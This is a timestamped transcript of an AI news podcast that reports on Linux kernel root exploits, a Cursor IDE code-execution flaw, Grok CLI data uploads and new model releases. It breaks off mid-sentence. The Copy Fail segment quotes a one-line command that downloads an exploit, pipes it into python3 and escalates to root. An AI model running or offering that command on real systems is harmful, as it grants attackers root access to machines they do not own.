Latest / AGI Dreams – Open, Uncensored, & Local - AI News Digest / AGI Dreams Podcast – July 16, 2026

Transcript

AGI Dreams Podcast – July 16, 2026 · AGI Dreams – Open, Uncensored, & Local - AI News Digest

• 0:00
  The
• 0:00
  Linux
• 0:00
  kernel
• 0:01
  is
• 0:01
  having
• 0:01
  a
• 0:01
  very
• 0:01
  bad
• 0:02
  summer.
• 0:03
  Three
• 0:03
  universal
• 0:03
  local
• 0:04
  privilege
• 0:04
  escalation
• 0:05
  vulnerabilities
• 0:05
  have
• 0:06
  surfaced
• 0:06
  in
• 0:06
  rapid
• 0:06
  succession
• 0:07
  —
• 0:08
  Copy
• 0:08
  Fail,
• 0:09
  Dirty
• 0:09
  Frag,
• 0:09
  and
• 0:09
  Bad
• 0:10
  Epoll
• 0:10
  —
• 0:11
  each
• 0:11
  capable
• 0:11
  of
• 0:11
  granting
• 0:12
  root
• 0:12
  access
• 0:12
  on
• 0:13
  essentially
• 0:13
  every
• 0:13
  mainstream
• 0:14
  Linux
• 0:14
  distribution.
• 0:16
  The
• 0:16
  pace
• 0:16
  is
• 0:16
  historically
• 0:17
  unprecedented:
• 0:18
  bugs
• 0:19
  of
• 0:19
  this
• 0:19
  caliber
• 0:19
  used
• 0:19
  to
• 0:20
  appear
• 0:20
  once
• 0:20
  every
• 0:21
  five
• 0:21
  to
• 0:21
  ten
• 0:21
  years
• 0:21
  (Dirty
• 0:22
  Cow
• 0:22
  in
• 0:22
  2016,
• 0:23
  Dirty
• 0:24
  Pipe
• 0:24
  in
• 0:24
  2022).
• 0:26
  Now
• 0:26
  three
• 0:26
  have
• 0:26
  dropped
• 0:27
  in
• 0:27
  roughly
• 0:27
  two
• 0:27
  months,
• 0:28
  and
• 0:28
  the
• 0:28
  implications
• 0:29
  for
• 0:29
  anyone
• 0:29
  running
• 0:30
  shared
• 0:30
  infrastructure
• 0:30
  —
• 0:31
  CI
• 0:32
  runners,
• 0:32
  container
• 0:33
  hosts,
• 0:33
  cloud
• 0:34
  VMs
• 0:34
  —
• 0:35
  are
• 0:35
  severe.
• 0:36
  Copy
• 0:36
  Fail
• 0:37
  set
• 0:37
  the
• 0:37
  tone.
• 0:38
  Discovered
• 0:38
  by
• 0:38
  Xint
• 0:39
  with
• 0:39
  AI-assisted
• 0:40
  auditing,
• 0:40
  it
• 0:40
  exploits
• 0:41
  a
• 0:41
  logic
• 0:41
  flaw
• 0:41
  in
• 0:42
  the
• 0:42
  kernel's
• 0:42
  algif
• 0:42
  aead
• 0:43
  crypto
• 0:43
  subsystem
• 0:43
  that
• 0:44
  has
• 0:44
  existed
• 0:44
  since
• 0:44
  2017.
• 0:46
  An
• 0:46
  unprivileged
• 0:46
  user
• 0:47
  can
• 0:47
  write
• 0:47
  four
• 0:47
  controlled
• 0:48
  bytes
• 0:48
  into
• 0:48
  the
• 0:48
  page
• 0:48
  cache
• 0:49
  of
• 0:49
  any
• 0:49
  readable
• 0:49
  file
• 0:49
  —
• 0:50
  including
• 0:50
  setuid
• 0:51
  binaries
• 0:51
  —
• 0:52
  gaining
• 0:52
  root
• 0:52
  with
• 0:53
  a
• 0:53
  732-byte
• 0:54
  Python
• 0:54
  script
• 0:54
  that
• 0:54
  works
• 0:55
  unmodified
• 0:55
  across
• 0:56
  Ubuntu,
• 0:57
  RHEL,
• 0:57
  Amazon
• 0:57
  Linux,
• 0:57
  and
• 0:57
  SUSE.
• 0:58
  No
• 0:59
  race
• 0:59
  condition,
• 0:59
  no
• 1:00
  offsets,
• 1:00
  no
• 1:00
  recompilation.
• 1:02
  The
• 1:02
  corruption
• 1:02
  happens
• 1:03
  in
• 1:03
  the
• 1:03
  page
• 1:03
  cache,
• 1:03
  not
• 1:04
  on
• 1:04
  disk,
• 1:04
  so
• 1:04
  nothing
• 1:05
  hits
• 1:05
  the
• 1:05
  filesystem
• 1:06
  and
• 1:06
  no
• 1:06
  integrity-monitoring
• 1:07
  tool
• 1:07
  fires
• 1:07
  on
• 1:07
  eviction.
• 1:08
  The
• 1:09
  PoC
• 1:09
  literally
• 1:09
  fits
• 1:09
  in
• 1:09
  a
• 1:10
  tweet-length
• 1:10
  command:
• 1:11
  curl
• 1:11
  https://copy.fail/exp
• 1:12
  |
• 1:13
  python3
• 1:15
  &&
• 1:16
  su.
• 1:17
  Mitigation
• 1:17
  is
• 1:17
  straightforward
• 1:17
  —
• 1:18
  blacklist
• 1:19
  the
• 1:19
  algif
• 1:19
  aead
• 1:19
  module
• 1:20
  —
• 1:20
  but
• 1:20
  the
• 1:20
  real
• 1:21
  story
• 1:21
  is
• 1:21
  the
• 1:21
  nine-year
• 1:22
  window
• 1:22
  during
• 1:22
  which
• 1:22
  this
• 1:23
  logic
• 1:23
  bug
• 1:23
  sat
• 1:24
  in
• 1:24
  plain
• 1:24
  sight.
• 1:25
  Dirty
• 1:25
  Frag
• 1:26
  arrived
• 1:26
  weeks
• 1:26
  later,
• 1:27
  extending
• 1:27
  the
• 1:27
  same
• 1:28
  page-cache
• 1:28
  write
• 1:28
  primitive
• 1:29
  into
• 1:29
  two
• 1:29
  new
• 1:29
  subsystems:
• 1:30
  xfrm-ESP
• 1:31
  (CVE-2026-43284)
• 1:34
  and
• 1:34
  RxRPC
• 1:35
  (CVE-2026-43500).
• 1:39
  Researcher
• 1:40
  Hyunwoo
• 1:40
  Kim
• 1:40
  chained
• 1:41
  the
• 1:41
  two
• 1:41
  variants
• 1:41
  to
• 1:41
  cover
• 1:42
  each
• 1:42
  other's
• 1:42
  blind
• 1:42
  spots:
• 1:43
  xfrm-ESP
• 1:44
  works
• 1:44
  broadly
• 1:45
  but
• 1:45
  requires
• 1:45
  namespace
• 1:46
  privileges
• 1:47
  that
• 1:47
  Ubuntu's
• 1:47
  AppArmor
• 1:47
  may
• 1:48
  block,
• 1:48
  while
• 1:48
  RxRPC
• 1:49
  needs
• 1:49
  the
• 1:50
  rxrpc.ko
• 1:52
  module
• 1:52
  that
• 1:52
  ships
• 1:53
  by
• 1:53
  default
• 1:53
  on
• 1:53
  Ubuntu
• 1:54
  but
• 1:54
  not
• 1:54
  most
• 1:54
  other
• 1:54
  distributions.
• 1:56
  The
• 1:56
  combination
• 1:56
  roots
• 1:57
  every
• 1:57
  major
• 1:57
  distribution
• 1:58
  tested
• 1:58
  —
• 1:59
  Ubuntu
• 1:59
  24.04,
• 2:01
  RHEL
• 2:01
  10.1,
• 2:02
  openSUSE
• 2:02
  Tumbleweed,
• 2:03
  Fedora
• 2:03
  44,
• 2:04
  and
• 2:04
  more
• 2:04
  —
• 2:05
  deterministically,
• 2:05
  with
• 2:06
  near-100%
• 2:06
  reliability.
• 2:08
  The
• 2:08
  researcher
• 2:09
  explicitly
• 2:09
  noted
• 2:10
  that
• 2:10
  Copy
• 2:10
  Fail
• 2:10
  motivated
• 2:11
  the
• 2:11
  work,
• 2:12
  and
• 2:12
  the
• 2:12
  two
• 2:12
  bugs
• 2:12
  share
• 2:12
  the
• 2:13
  same
• 2:13
  sink
• 2:13
  even
• 2:13
  on
• 2:13
  systems
• 2:14
  where
• 2:14
  the
• 2:14
  algif
• 2:14
  aead
• 2:15
  blacklist
• 2:15
  is
• 2:15
  already
• 2:15
  applied.
• 2:17
  Then
• 2:17
  came
• 2:18
  Bad
• 2:18
  Epoll
• 2:18
  (CVE-2026-46242),
• 2:23
  a
• 2:24
  use-after-free
• 2:24
  race
• 2:24
  condition
• 2:25
  in
• 2:25
  the
• 2:25
  kernel's
• 2:25
  epoll
• 2:26
  subsystem
• 2:26
  —
• 2:27
  the
• 2:27
  foundation
• 2:28
  of
• 2:28
  virtually
• 2:28
  all
• 2:29
  async
• 2:29
  I/O
• 2:30
  on
• 2:30
  Linux.
• 2:31
  Unlike
• 2:31
  the
• 2:32
  page-cache
• 2:32
  bugs,
• 2:33
  this
• 2:33
  one
• 2:33
  has
• 2:33
  no
• 2:33
  kill
• 2:34
  switch:
• 2:35
  epoll
• 2:35
  cannot
• 2:35
  be
• 2:35
  disabled
• 2:36
  or
• 2:36
  unloaded;
• 2:37
  it
• 2:37
  is
• 2:37
  core
• 2:37
  kernel
• 2:38
  plumbing
• 2:38
  that
• 2:39
  every
• 2:39
  network
• 2:39
  service,
• 2:40
  browser,
• 2:41
  and
• 2:41
  event
• 2:41
  loop
• 2:41
  depends
• 2:42
  on.
• 2:43
  The
• 2:43
  race
• 2:43
  window
• 2:43
  is
• 2:43
  only
• 2:44
  about
• 2:44
  six
• 2:44
  instructions
• 2:45
  wide,
• 2:45
  yet
• 2:46
  the
• 2:46
  exploit
• 2:46
  achieves
• 2:47
  99%
• 2:48
  reliability
• 2:48
  on
• 2:48
  kernelCTF
• 2:49
  targets
• 2:50
  through
• 2:50
  a
• 2:50
  clever
• 2:50
  timer-interrupt
• 2:51
  technique
• 2:52
  that
• 2:52
  widens
• 2:52
  the
• 2:52
  window.
• 2:54
  Bad
• 2:54
  Epoll
• 2:54
  is
• 2:54
  also
• 2:55
  notable
• 2:55
  for
• 2:55
  what
• 2:55
  it
• 2:55
  says
• 2:56
  about
• 2:56
  AI-assisted
• 2:56
  vulnerability
• 2:57
  research:
• 2:58
  Anthropic's
• 2:59
  Mythos
• 2:59
  found
• 2:59
  a
• 2:59
  different
• 3:00
  race
• 3:00
  bug
• 3:00
  (CVE-2026-43074)
• 3:04
  in
• 3:04
  the
• 3:05
  same
• 3:05
  ~2,500
• 3:06
  lines
• 3:07
  of
• 3:07
  epoll
• 3:07
  code
• 3:07
  from
• 3:07
  the
• 3:07
  same
• 3:08
  2023
• 3:08
  commit,
• 3:09
  but
• 3:09
  missed
• 3:09
  Bad
• 3:10
  Epoll.
• 3:10
  The
• 3:10
  researcher
• 3:11
  attributes
• 3:11
  this
• 3:12
  to
• 3:12
  the
• 3:12
  extremely
• 3:12
  narrow
• 3:13
  race
• 3:13
  window
• 3:13
  and
• 3:13
  the
• 3:13
  fact
• 3:14
  that
• 3:14
  KASAN
• 3:14
  —
• 3:15
  the
• 3:15
  kernel's
• 3:15
  primary
• 3:16
  memory-error
• 3:16
  detector
• 3:17
  —
• 3:17
  does
• 3:17
  not
• 3:17
  trigger
• 3:18
  during
• 3:18
  the
• 3:18
  exploit's
• 3:19
  vulnerable
• 3:19
  window,
• 3:19
  leaving
• 3:20
  Mythos
• 3:20
  without
• 3:20
  the
• 3:21
  runtime
• 3:21
  signal
• 3:21
  it
• 3:21
  likely
• 3:22
  relied
• 3:22
  on
• 3:22
  for
• 3:22
  confidence.
• 3:23
  Perhaps
• 3:23
  most
• 3:24
  alarming:
• 3:25
  Bad
• 3:25
  Epoll
• 3:25
  can
• 3:26
  root
• 3:26
  Android
• 3:26
  devices
• 3:27
  and
• 3:27
  can
• 3:27
  be
• 3:27
  triggered
• 3:28
  from
• 3:28
  inside
• 3:28
  Chrome's
• 3:29
  renderer
• 3:29
  sandbox,
• 3:30
  making
• 3:30
  it
• 3:30
  chainable
• 3:31
  with
• 3:31
  browser
• 3:31
  exploits
• 3:32
  for
• 3:32
  full
• 3:32
  kernel
• 3:33
  code
• 3:33
  execution.
• 3:34
  A
• 3:34
  security
• 3:35
  YouTuber
• 3:35
  neatly
• 3:35
  framed
• 3:36
  the
• 3:36
  pattern:
• 3:37
  "We
• 3:37
  are
• 3:37
  witnessing
• 3:37
  the
• 3:37
  great
• 3:38
  backlog
• 3:38
  clearing."
• 3:39
  These
• 3:39
  vulnerabilities
• 3:40
  are
• 3:40
  not
• 3:40
  new
• 3:40
  code
• 3:40
  —
• 3:41
  they
• 3:41
  have
• 3:42
  sat
• 3:42
  dormant
• 3:42
  for
• 3:42
  three
• 3:42
  to
• 3:43
  nine
• 3:43
  years,
• 3:43
  protected
• 3:44
  only
• 3:44
  by
• 3:44
  a
• 3:44
  lack
• 3:45
  of
• 3:45
  human
• 3:45
  bandwidth.
• 3:46
  AI-assisted
• 3:47
  auditing
• 3:47
  tools
• 3:47
  like
• 3:47
  Mythos
• 3:48
  and
• 3:48
  Xint's
• 3:48
  operator-prompt
• 3:49
  pipeline
• 3:50
  are
• 3:50
  now
• 3:50
  systematically
• 3:51
  working
• 3:51
  through
• 3:51
  subsystems
• 3:52
  that
• 3:52
  were
• 3:52
  previously
• 3:53
  too
• 3:53
  large
• 3:53
  or
• 3:53
  too
• 3:53
  complex
• 3:54
  for
• 3:54
  manual
• 3:54
  review,
• 3:55
  and
• 3:55
  the
• 3:55
  results
• 3:56
  are
• 3:56
  pouring
• 3:56
  out
• 3:56
  faster
• 3:56
  than
• 3:57
  distributions
• 3:57
  can
• 3:57
  patch.
• 3:58
  For
• 3:58
  defenders,
• 3:59
  the
• 3:59
  actionable
• 4:00
  takeaway
• 4:00
  is
• 4:00
  grim
• 4:01
  but
• 4:01
  clear:
• 4:02
  patch
• 4:02
  aggressively,
• 4:03
  assume
• 4:03
  your
• 4:03
  container
• 4:04
  boundaries
• 4:04
  are
• 4:04
  weaker
• 4:04
  than
• 4:04
  you
• 4:05
  think,
• 4:05
  and
• 4:05
  treat
• 4:06
  any
• 4:06
  environment
• 4:06
  running
• 4:07
  untrusted
• 4:07
  code
• 4:08
  on
• 4:08
  a
• 4:08
  shared
• 4:08
  kernel
• 4:08
  as
• 4:08
  already
• 4:09
  at
• 4:09
  elevated
• 4:09
  risk.
• 4:12
  If
• 4:13
  the
• 4:13
  kernel
• 4:13
  bugs
• 4:13
  represent
• 4:14
  old
• 4:14
  debt
• 4:14
  being
• 4:14
  called
• 4:15
  in,
• 4:15
  the
• 4:15
  security
• 4:15
  posture
• 4:16
  of
• 4:16
  AI
• 4:16
  coding
• 4:16
  tools
• 4:17
  represents
• 4:17
  new
• 4:17
  debt
• 4:18
  being
• 4:18
  taken
• 4:18
  on
• 4:18
  at
• 4:18
  speed.
• 4:19
  Cursor,
• 4:19
  the
• 4:20
  AI-assisted
• 4:20
  IDE
• 4:21
  with
• 4:21
  over
• 4:21
  seven
• 4:21
  million
• 4:22
  active
• 4:22
  users
• 4:22
  and
• 4:23
  a
• 4:23
  reported
• 4:23
  $60
• 4:23
  billion
• 4:24
  market
• 4:24
  valuation,
• 4:25
  has
• 4:25
  been
• 4:25
  shipping
• 4:26
  an
• 4:26
  unpatched
• 4:26
  arbitrary
• 4:27
  code
• 4:27
  execution
• 4:28
  vulnerability
• 4:28
  for
• 4:28
  more
• 4:29
  than
• 4:29
  seven
• 4:29
  months
• 4:29
  —
• 4:30
  and
• 4:30
  Mindgard,
• 4:30
  the
• 4:30
  security
• 4:31
  firm
• 4:31
  that
• 4:31
  found
• 4:31
  it,
• 4:31
  has
• 4:32
  gone
• 4:32
  full
• 4:32
  disclosure
• 4:32
  after
• 4:33
  exhausting
• 4:33
  every
• 4:33
  coordinated
• 4:34
  channel
• 4:34
  available.
• 4:35
  The
• 4:35
  bug
• 4:35
  itself
• 4:36
  is
• 4:36
  almost
• 4:36
  insultingly
• 4:36
  simple.
• 4:37
  When
• 4:37
  Cursor
• 4:37
  loads
• 4:38
  a
• 4:38
  project
• 4:38
  on
• 4:38
  Windows,
• 4:39
  it
• 4:39
  searches
• 4:39
  for
• 4:39
  Git
• 4:39
  binaries
• 4:40
  at
• 4:40
  multiple
• 4:40
  locations,
• 4:41
  including
• 4:42
  the
• 4:42
  current
• 4:42
  workspace
• 4:42
  root.
• 4:43
  A
• 4:43
  repository
• 4:44
  containing
• 4:44
  a
• 4:44
  malicious
• 4:45
  git.exe
• 4:46
  in
• 4:46
  the
• 4:46
  project
• 4:46
  root
• 4:47
  will
• 4:47
  have
• 4:47
  that
• 4:47
  binary
• 4:47
  executed
• 4:48
  automatically
• 4:48
  —
• 4:49
  no
• 4:49
  clicks,
• 4:49
  no
• 4:49
  prompts,
• 4:50
  no
• 4:50
  approval
• 4:50
  dialogs.
• 4:51
  Mindgard's
• 4:52
  proof
• 4:52
  of
• 4:52
  concept
• 4:52
  used
• 4:52
  a
• 4:53
  renamed
• 4:53
  Windows
• 4:53
  Calculator;
• 4:54
  multiple
• 4:55
  Calculator
• 4:55
  windows
• 4:55
  kept
• 4:55
  spawning
• 4:56
  as
• 4:56
  Cursor
• 4:56
  repeatedly
• 4:57
  re-invoked
• 4:57
  the
• 4:57
  binary
• 4:58
  during
• 4:58
  normal
• 4:58
  operation.
• 4:59
  The
• 4:59
  timeline
• 5:00
  reads
• 5:00
  like
• 5:00
  a
• 5:00
  case
• 5:00
  study
• 5:01
  in
• 5:01
  vendor
• 5:01
  non-response:
• 5:02
  initial
• 5:02
  disclosure
• 5:03
  on
• 5:03
  December
• 5:03
  15,
• 5:04
  2025;
• 5:05
  acknowledgment
• 5:06
  from
• 5:06
  Cursor's
• 5:06
  CISO
• 5:07
  that
• 5:07
  an
• 5:07
  automation
• 5:08
  failure
• 5:08
  had
• 5:08
  broken
• 5:08
  the
• 5:08
  HackerOne
• 5:09
  workflow;
• 5:10
  report
• 5:10
  initially
• 5:10
  closed
• 5:11
  as
• 5:11
  "Informative
• 5:12
  and
• 5:12
  out
• 5:12
  of
• 5:12
  scope";
• 5:13
  reopened
• 5:13
  after
• 5:13
  HackerOne
• 5:14
  reproduction;
• 5:15
  then
• 5:15
  months
• 5:16
  of
• 5:16
  silence
• 5:16
  through
• 5:16
  197+
• 5:17
  new
• 5:18
  Cursor
• 5:18
  releases.
• 5:19
  Mindgard's
• 5:19
  question
• 5:20
  —
• 5:20
  "What
• 5:21
  exactly
• 5:21
  is
• 5:21
  the
• 5:21
  security
• 5:22
  process
• 5:22
  for?"
• 5:22
  —
• 5:23
  is
• 5:23
  rhetorical
• 5:24
  but
• 5:24
  pointed.
• 5:25
  Meanwhile,
• 5:26
  xAI's
• 5:27
  Grok
• 5:27
  CLI
• 5:27
  drew
• 5:28
  its
• 5:28
  own
• 5:28
  trust
• 5:28
  fire
• 5:28
  after
• 5:29
  users
• 5:29
  discovered
• 5:30
  it
• 5:30
  was
• 5:30
  silently
• 5:30
  uploading
• 5:31
  data
• 5:31
  to
• 5:31
  Google
• 5:31
  Cloud.
• 5:32
  The
• 5:32
  Reddit
• 5:33
  thread
• 5:33
  was
• 5:33
  unsparing
• 5:34
  ("Anyone
• 5:35
  who
• 5:35
  gave
• 5:35
  their
• 5:35
  data
• 5:35
  to
• 5:35
  Musk
• 5:36
  and
• 5:36
  didn't
• 5:36
  think
• 5:36
  this
• 5:36
  was
• 5:37
  going
• 5:37
  to
• 5:37
  happen
• 5:37
  is
• 5:38
  absolutely
• 5:38
  one
• 5:38
  of
• 5:38
  the
• 5:39
  dumbest
• 5:39
  people
• 5:39
  in
• 5:39
  the
• 5:39
  modern
• 5:40
  world"),
• 5:40
  but
• 5:41
  the
• 5:41
  underlying
• 5:41
  architecture
• 5:42
  is
• 5:42
  worth
• 5:42
  examining:
• 5:43
  xAI
• 5:44
  open-sourced
• 5:44
  the
• 5:44
  Grok
• 5:45
  Build
• 5:45
  codebase,
• 5:46
  revealing
• 5:46
  a
• 5:47
  Rust-based
• 5:47
  TUI
• 5:48
  agent
• 5:48
  that
• 5:48
  understands
• 5:49
  codebases,
• 5:50
  edits
• 5:50
  files,
• 5:51
  executes
• 5:51
  shell
• 5:51
  commands,
• 5:52
  and
• 5:52
  supports
• 5:53
  headless
• 5:53
  mode
• 5:53
  for
• 5:53
  CI
• 5:54
  scripting.
• 5:55
  The
• 5:55
  THIRD-PARTY-NOTICES
• 5:56
  file
• 5:56
  even
• 5:56
  acknowledges
• 5:57
  source
• 5:57
  ports
• 5:58
  from
• 5:58
  OpenAI's
• 5:58
  Codex
• 5:59
  and
• 5:59
  SST's
• 5:59
  OpenCode
• 6:00
  tool
• 6:00
  implementations.
• 6:02
  The
• 6:02
  data-upload
• 6:02
  behavior
• 6:03
  appears
• 6:03
  to
• 6:03
  be
• 6:03
  a
• 6:03
  design
• 6:04
  choice
• 6:04
  rather
• 6:04
  than
• 6:04
  a
• 6:04
  bug,
• 6:05
  which
• 6:05
  is
• 6:05
  arguably
• 6:06
  worse
• 6:06
  —
• 6:06
  it
• 6:07
  means
• 6:07
  the
• 6:07
  telemetry
• 6:07
  was
• 6:08
  intentional
• 6:08
  and
• 6:08
  undisclosed.
• 6:10
  The
• 6:10
  pattern
• 6:10
  across
• 6:11
  both
• 6:11
  stories
• 6:11
  is
• 6:11
  the
• 6:11
  same:
• 6:12
  AI
• 6:12
  tools
• 6:13
  are
• 6:13
  asking
• 6:13
  for
• 6:13
  —
• 6:14
  and
• 6:14
  receiving
• 6:14
  —
• 6:15
  unprecedented
• 6:16
  access
• 6:16
  to
• 6:16
  source
• 6:17
  code,
• 6:17
  credentials,
• 6:18
  terminals,
• 6:18
  and
• 6:18
  workflows,
• 6:19
  while
• 6:19
  treating
• 6:20
  security
• 6:20
  as
• 6:20
  a
• 6:20
  feature
• 6:21
  to
• 6:21
  be
• 6:21
  shipped
• 6:21
  later.
• 6:22
  When
• 6:22
  your
• 6:23
  IDE
• 6:23
  auto-executes
• 6:24
  binaries
• 6:24
  and
• 6:24
  your
• 6:25
  CLI
• 6:25
  exfiltrates
• 6:26
  your
• 6:26
  code,
• 6:27
  the
• 6:27
  productivity
• 6:27
  gains
• 6:28
  start
• 6:28
  looking
• 6:28
  like
• 6:28
  a
• 6:28
  very
• 6:29
  expensive
• 6:29
  trade.
• 6:33
  Thinking
• 6:33
  Machines
• 6:34
  released
• 6:34
  Inkling,
• 6:35
  a
• 6:35
  975-billion-parameter
• 6:37
  Mixture-of-Experts
• 6:37
  transformer
• 6:38
  (41B
• 6:38
  active)
• 6:39
  trained
• 6:39
  from
• 6:39
  scratch
• 6:40
  on
• 6:40
  45
• 6:40
  trillion
• 6:41
  tokens
• 6:41
  of
• 6:41
  text,
• 6:42
  images,
• 6:42
  audio,
• 6:42
  and
• 6:43
  video.
• 6:43
  It
• 6:44
  supports
• 6:44
  up
• 6:44
  to
• 6:44
  1M
• 6:44
  token
• 6:45
  context,
• 6:45
  controllable
• 6:46
  thinking
• 6:46
  effort,
• 6:47
  and
• 6:47
  arrives
• 6:47
  alongside
• 6:48
  a
• 6:48
  preview
• 6:48
  of
• 6:48
  Inkling-Small
• 6:49
  (276B
• 6:50
  total,
• 6:50
  12B
• 6:51
  active).
• 6:52
  The
• 6:52
  model
• 6:52
  is
• 6:52
  available
• 6:53
  on
• 6:53
  the
• 6:53
  company's
• 6:53
  Tinker
• 6:53
  platform
• 6:54
  with
• 6:54
  open
• 6:54
  weights
• 6:55
  on
• 6:55
  HuggingFace.
• 6:56
  The
• 6:56
  positioning
• 6:57
  is
• 6:57
  deliberately
• 6:57
  understated:
• 6:59
  Thinking
• 6:59
  Machines
• 6:59
  states
• 7:00
  outright
• 7:00
  that
• 7:00
  "Inkling
• 7:01
  is
• 7:01
  not
• 7:01
  the
• 7:01
  strongest
• 7:01
  overall
• 7:02
  model
• 7:02
  available
• 7:02
  today,
• 7:03
  open
• 7:03
  or
• 7:03
  closed."
• 7:04
  Instead,
• 7:05
  they
• 7:05
  are
• 7:05
  pitching
• 7:05
  it
• 7:06
  as
• 7:06
  a
• 7:06
  customization-first
• 7:07
  foundation
• 7:07
  —
• 7:08
  broad
• 7:08
  enough
• 7:08
  to
• 7:08
  fine-tune
• 7:09
  across
• 7:09
  domains,
• 7:10
  efficient
• 7:10
  enough
• 7:11
  to
• 7:11
  make
• 7:11
  that
• 7:11
  fine-tuning
• 7:12
  economically
• 7:12
  viable.
• 7:13
  The
• 7:13
  architecture
• 7:14
  follows
• 7:14
  DeepSeek-V3's
• 7:15
  MoE
• 7:15
  blueprint:
• 7:16
  256
• 7:17
  routed
• 7:18
  experts
• 7:18
  (6
• 7:18
  active
• 7:19
  per
• 7:19
  token),
• 7:19
  sigmoid
• 7:20
  routing
• 7:20
  with
• 7:20
  auxiliary-loss-free
• 7:21
  load
• 7:21
  balancing,
• 7:22
  and
• 7:23
  a
• 7:23
  5:1
• 7:23
  sliding-window-to-global
• 7:24
  attention
• 7:25
  ratio.
• 7:26
  Relative
• 7:26
  positional
• 7:27
  embeddings
• 7:27
  replace
• 7:27
  RoPE
• 7:28
  for
• 7:28
  better
• 7:28
  long-sequence
• 7:29
  extrapolation.
• 7:30
  Audio
• 7:31
  enters
• 7:31
  as
• 7:31
  dMel
• 7:31
  spectrograms,
• 7:32
  images
• 7:32
  as
• 7:33
  40×40
• 7:33
  pixel
• 7:33
  patches
• 7:34
  —
• 7:34
  no
• 7:34
  separate
• 7:35
  encoder.
• 7:36
  The
• 7:36
  controllable
• 7:36
  thinking
• 7:36
  effort
• 7:37
  is
• 7:37
  the
• 7:37
  most
• 7:37
  interesting
• 7:38
  engineering
• 7:38
  detail.
• 7:39
  By
• 7:40
  varying
• 7:40
  system
• 7:40
  messages
• 7:41
  and
• 7:41
  per-token
• 7:41
  costs
• 7:41
  during
• 7:42
  RL
• 7:42
  training
• 7:42
  (30M+
• 7:43
  rollouts),
• 7:43
  they
• 7:44
  trained
• 7:44
  the
• 7:44
  model
• 7:44
  to
• 7:44
  modulate
• 7:45
  its
• 7:45
  chain-of-thought
• 7:45
  depth.
• 7:47
  The
• 7:47
  resulting
• 7:47
  cost-performance
• 7:48
  curve
• 7:48
  shows
• 7:49
  Inkling
• 7:49
  matching
• 7:49
  Nemotron
• 7:50
  3
• 7:50
  Ultra
• 7:50
  on
• 7:50
  Terminal
• 7:51
  Bench
• 7:51
  2.1
• 7:52
  at
• 7:52
  roughly
• 7:52
  one-third
• 7:53
  the
• 7:53
  tokens.
• 7:54
  An
• 7:54
  emergent
• 7:54
  side
• 7:55
  effect:
• 7:55
  over
• 7:56
  the
• 7:56
  course
• 7:56
  of
• 7:56
  RL
• 7:56
  training,
• 7:57
  the
• 7:57
  chain
• 7:57
  of
• 7:57
  thought
• 7:57
  became
• 7:58
  more
• 7:58
  concise
• 7:58
  on
• 7:58
  its
• 7:58
  own
• 7:58
  —
• 8:00
  dropping
• 8:00
  grammatical
• 8:00
  overhead
• 8:01
  while
• 8:01
  preserving
• 8:01
  comprehensibility.
• 8:03
  The
• 8:03
  Cognition
• 8:04
  team
• 8:04
  independently
• 8:04
  noted
• 8:05
  the
• 8:05
  same
• 8:05
  compression
• 8:05
  effect
• 8:06
  while
• 8:06
  training
• 8:06
  SWE-1.7.
• 8:08
  Separately
• 8:09
  in
• 8:09
  the
• 8:09
  efficiency
• 8:09
  space,
• 8:10
  Moebius
• 8:10
  from
• 8:10
  Huazhong
• 8:11
  University
• 8:11
  demonstrates
• 8:12
  that
• 8:12
  architecture-distillation
• 8:13
  synergy
• 8:13
  can
• 8:13
  challenge
• 8:14
  the
• 8:14
  scaling
• 8:14
  law
• 8:14
  orthodoxy
• 8:15
  for
• 8:15
  task-specific
• 8:16
  work.
• 8:17
  This
• 8:17
  0.22B-parameter
• 8:18
  image
• 8:19
  inpainting
• 8:19
  model
• 8:19
  (less
• 8:20
  than
• 8:20
  2%
• 8:20
  of
• 8:21
  FLUX.1-Fill-Dev's
• 8:22
  11.9B)
• 8:23
  matches
• 8:24
  or
• 8:24
  surpasses
• 8:24
  its
• 8:24
  10B-class
• 8:25
  competitors
• 8:26
  across
• 8:26
  six
• 8:26
  benchmarks
• 8:27
  while
• 8:27
  running
• 8:27
  15×
• 8:27
  faster.
• 8:29
  The
• 8:29
  core
• 8:29
  insight
• 8:29
  —
• 8:30
  a
• 8:30
  novel
• 8:30
  LλMI
• 8:31
  attention
• 8:31
  block
• 8:31
  that
• 8:32
  condenses
• 8:32
  spatial
• 8:33
  context
• 8:33
  into
• 8:33
  fixed-size
• 8:34
  linear
• 8:34
  matrices,
• 8:35
  combined
• 8:36
  with
• 8:36
  adaptive
• 8:36
  multi-granularity
• 8:37
  distillation
• 8:38
  from
• 8:38
  their
• 8:38
  PixelHacker
• 8:39
  teacher
• 8:39
  model
• 8:39
  —
• 8:40
  earned
• 8:40
  an
• 8:40
  ECCV
• 8:41
  2026
• 8:42
  acceptance
• 8:42
  and
• 8:42
  the
• 8:43
  #1
• 8:43
  daily
• 8:43
  ranking
• 8:44
  on
• 8:44
  HuggingFace.
• 8:48
  The
• 8:48
  term
• 8:49
  "context
• 8:49
  engineering"
• 8:50
  has
• 8:50
  gone
• 8:50
  from
• 8:50
  insider
• 8:51
  jargon
• 8:51
  to
• 8:51
  the
• 8:51
  central
• 8:52
  discipline
• 8:52
  of
• 8:52
  production
• 8:53
  agent
• 8:53
  work
• 8:53
  in
• 8:53
  roughly
• 8:53
  a
• 8:54
  year.
• 8:54
  An
• 8:55
  Anthropic
• 8:55
  technical
• 8:55
  staff
• 8:56
  member
• 8:56
  laid
• 8:56
  out
• 8:56
  the
• 8:56
  trajectory
• 8:57
  at
• 8:57
  AI
• 8:57
  DevCon:
• 8:58
  from
• 8:58
  simple
• 8:58
  CLAUDE.md
• 8:59
  files
• 9:00
  (unreasonably
• 9:00
  effective
• 9:01
  but
• 9:01
  prone
• 9:01
  to
• 9:02
  context
• 9:02
  bloat)
• 9:02
  to
• 9:02
  memory
• 9:03
  tools
• 9:03
  (autonomous
• 9:04
  read/write
• 9:04
  within
• 9:05
  sessions)
• 9:05
  to
• 9:05
  skills
• 9:06
  (progressive
• 9:06
  disclosure
• 9:07
  that
• 9:07
  loads
• 9:07
  detailed
• 9:08
  instructions
• 9:08
  only
• 9:08
  when
• 9:09
  needed)
• 9:09
  to
• 9:09
  the
• 9:09
  current
• 9:09
  state
• 9:09
  of
• 9:10
  the
• 9:10
  art
• 9:10
  —
• 9:10
  modeling
• 9:11
  memory
• 9:11
  as
• 9:11
  a
• 9:11
  plain
• 9:11
  filesystem
• 9:12
  that
• 9:12
  agents
• 9:12
  search
• 9:13
  with
• 9:13
  standard
• 9:13
  tools
• 9:13
  like
• 9:13
  bash
• 9:14
  and
• 9:14
  grep.
• 9:15
  The
• 9:15
  key
